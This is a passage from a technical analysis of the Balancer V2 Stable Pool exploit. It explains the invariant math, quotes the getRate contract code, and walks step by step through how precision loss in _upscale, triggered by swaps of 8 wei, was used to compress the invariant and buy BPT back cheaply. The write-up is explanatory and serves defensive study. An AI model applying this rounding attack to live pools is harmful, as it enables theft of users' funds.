In the invariant formula in the _calculateInvariant function above, the independent variables are the balances of each token, and the dependent variable is the invariant D. To calculate D, the _calculateInvariant function uses the Newton–Raphson iteration formula $D_{k+1} = D_k - \frac{f(D_k)}{f’(D_k)}$ to perform up to 256 iterations to calculate the D value. More specific mathematical details won’t be expanded here; interested readers can consult ChatGPT for more explanations.

After calculating the invariant D, the _calcInGivenOut function transforms based on the above invariant formula to obtain the following new formula $x^2 + \left( S_{\setminus x} + \frac{D}{A \cdot n^n} - D \right) x - \frac{D^{,n+1}}{A \cdot n^{2n} \cdot P_{\setminus x}} = 0$ and attempts to solve for variable x. Where:

• $x$: Represents the new balance of tokenIn after tokenIn flows in (i.e., $x=B_x + Amount_{in}$, and this $Amount_{in}$ is the value that _calcInGivenOut ultimately needs to find). The value to be calculated.
• $S_{\setminus x}$: Represents the sum of balances of all other tokens except tokenX.
• $P_{\setminus x}$: Represents the product of balances of all other tokens except tokenX.

In this way, after calculating the expected new balance of tokenIn, subtracting the current balance yields the expected tokenIn amount $Amount_{in}$ that the user should input.

So how is the BPT price calculated? It can be seen that BPT price is positively correlated with the invariant D, conforming to $P_{BPT} = \frac{D}{S_{BPT}}$, where $P_{BPT}$ is the BPT price and $S_{BPT}$ is the total supply of BPT. However, note that although D is called an invariant, it doesn’t mean it’s unchanging. See the code comments below for details, which won’t be expanded here.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

/**
 * @dev This function returns the appreciation of BPT relative to the underlying tokens, as an 18 decimal fixed
 * point number. It is simply the ratio of the invariant to the BPT supply.
 *
 * The total supply is initialized to equal the invariant, so this value starts at one. During Pool operation the
 * invariant always grows and shrinks either proportionally to the total supply (in scenarios with no price impact,
 * e.g. proportional joins), or grows faster and shrinks more slowly than it (whenever swap fees are collected or
 * the token rates increase). Therefore, the rate is a monotonically increasing function *as long as the tokens
 * in the pool do not lose value*.
 *
 * ...
 */
function getRate() external view virtual override returns (uint256) {
    // We need to compute the current invariant and actual total supply. The latter includes protocol fees that have
    // accrued but are not yet minted: in calculating these we'll actually end up fetching most of the data we need
    // for the invariant.

    (
        uint256[] memory balances,
        uint256 virtualSupply,
        uint256 protocolFeeAmount,
        uint256 lastJoinExitAmp,
        uint256 currentInvariantWithLastJoinExitAmp
    ) = _getSupplyAndFeesData();

    // Due protocol fees will be minted at the next join or exit, so we can simply add them to the current virtual
    // supply to get the actual supply.
    uint256 actualTotalSupply = virtualSupply.add(protocolFeeAmount);

    // All that's missing now is the invariant. We have the balances required to calculate it already, but still
    // need the current amplification factor.
    (uint256 currentAmp, ) = _getAmplificationParameter();

    // It turns out that the process for due protocol fee calculation involves computing the current invariant,
    // except using the amplification factor at the last join or exit. This would typically not be terribly useful,
    // but since the amplification factor only changes rarely there is high probability of its current value being
    // the same as it was in the last join or exit. If that is the case, then we can skip the costly invariant
    // computation altogether.
    uint256 currentInvariant = (currentAmp == lastJoinExitAmp)
        ? currentInvariantWithLastJoinExitAmp
        : StableMath._calculateInvariant(currentAmp, balances);

    // With the current invariant and actual total supply, we can compute the rate as a fixed-point number.
    return currentInvariant.divDown(actualTotalSupply);
}

3. Attack Flow

In the first subsection, we mentioned that if a very small value is passed to the _upscale function, the calculation result will have significant precision loss, but we still haven’t figured out how to steal large amounts of funds through this tiny value of a few wei. In the second subsection, we learned in detail about the Stable Pool’s invariant formula and how BPT prices are calculated.

Let’s review:

1. The Stable Pool’s mathematical model manifests as a combination of constant sum and constant product, i.e., it behaves as x + y = k near the anchoring price, and as x * y = k at positions far from the anchoring price.
2. The invariant D is calculated from each token’s balance, so the invariant D must be positively correlated with each token’s balance. This is easy to prove: when LPs inject liquidity, token balances increase, so D must also increase to correspond to newly minted BPT. Conversely, if LPs withdraw liquidity, token balances decrease, and D should also decrease accordingly.
3. BPT price is derived from the invariant D and the current total supply. If the total supply remains unchanged and D can be reduced through the vulnerability, then BPT can be exchanged at a price lower than normal.

The attack idea then becomes gradually clear: During each Swap, the invariant D is calculated from token balances. If the precision loss in this subtle token balance calculation can cause the calculated invariant D to be compressed (under the premise that BPT total supply remains unchanged), then attackers can purchase BPT at a lower price, because BPT price is directly affected by the invariant D.

The example attack transaction on Arbitrum shows the full attack flow. We can see that the attacker exploited the precision loss in the _upscale function to cause D’s calculation to deviate from normal values, thereby affecting BPT prices to carry out the attack. Specifically, the attack flow is as follows.

1. Liquidity Manipulation. Balancer batchSwap allows temporarily borrowing internal balances, so the attacker first borrowed BPT from this Pool in Balancer, then used these BPT to exchange for underlying asset tokens like rETH/cbETH/wstETH. This reduced tokens that originally had balances on the order of 1e18 to only 1e11 levels in the pool after extensive exchanges:

   

   In the figure above, the TokenIn labeled wstETH/rETH/cbETH is actually the BPT of this pool (because the BPT address is the pool’s address). From the figure, we can see that from top to bottom, the order of magnitude of each exchange of underlying assets decreases sequentially, until the final swap amount is below 100 wei. Looking at balance changes, the token amounts at the start of the swap were:

   • cbETH: 385e18 (385,331,897,945,415,101,145)
   • BPT: 2.45e18 + 2^11 (2,596,148,429,267,416,263,499,288,948,276,786)
   • wstETH: 36.4e18 (36,378,350,238,858,588,950)
   • rETH: 41.3e18 (41,301,528,246,890,260,702)

   Note: The 2^11 portion in the BPT balance is _PREMINTED_TOKEN_BALANCE, see code for details.

   After completing liquidity manipulation, the final token amounts were:

   • cbETH: 1.00e11 (100,000,000,000)
   • BPT: 501.96e18 + 2^11 (2,596,148,429,267,915,775,463,860,923,420,341)
   • wstETH: 1.00e11 (100,000,000,000)
   • rETH: 1.00e11 (100,000,000,000)

2. Frequently compressing the invariant D through rounding vulnerabilities. This step only involves wstETH/cbETH trading. The attacker achieves this by repeatedly performing the following swap steps:

   1. wstETH→cbETH: This step exhausts wstETH liquidity, reducing liquidity from the higher 1e11 to the critical value of 9.
   2. wstETH→cbETH: This step uses a carefully constructed amount = 8, triggering precision loss in upscale. At this point, cbETH’s token rate is 1.114. Therefore, before calculating the invariant D, upscale will calculate balance(8) * rate(1.114) = value(8.912) and truncate it to 8. In this way, when calculating the invariant D, since the token balance used is the truncated value, the calculated D value will be maliciously compressed downward.
   3. cbETH→wstETH: After completing the previous step to compress D downward, this swap step just restores wstETH liquidity from 1 to a higher value like 5642, preparing for the next execution of step a.

   

3. Since the invariant D has been compressed very small through multiple rounding attacks, the attacker can repurchase BPT at a lower price to repay the internal balances borrowed from the Vault’s batchSwap. The price difference of BPT before and after is the key to the amount stolen by the attacker. The figure below shows the transaction process where the attacker spends underlying tokens cbETH/wstETH/rETH to repurchase BPT. Here, the attacker’s BPT repurchase amount increases exponentially each time, used to quickly repurchase the BPT that was initially borrowed from the Vault to deplete the Pool’s liquidity.

   

IV. References

1. https://www.coinspect.com/blog/balancer-rate-manipulation-exploit/
2. https://blocksecteam.medium.com/in-depth-analysis-the-balancer-v2-exploit-9552f6442437
3. https://www.openzeppelin.com/news/understanding-the-balancer-v2-exploit
4. https://mp.weixin.qq.com/s/zywPIK08hpy-Ug6rc9Qysw
5. https://x.com/Balancer/status/1986104426667401241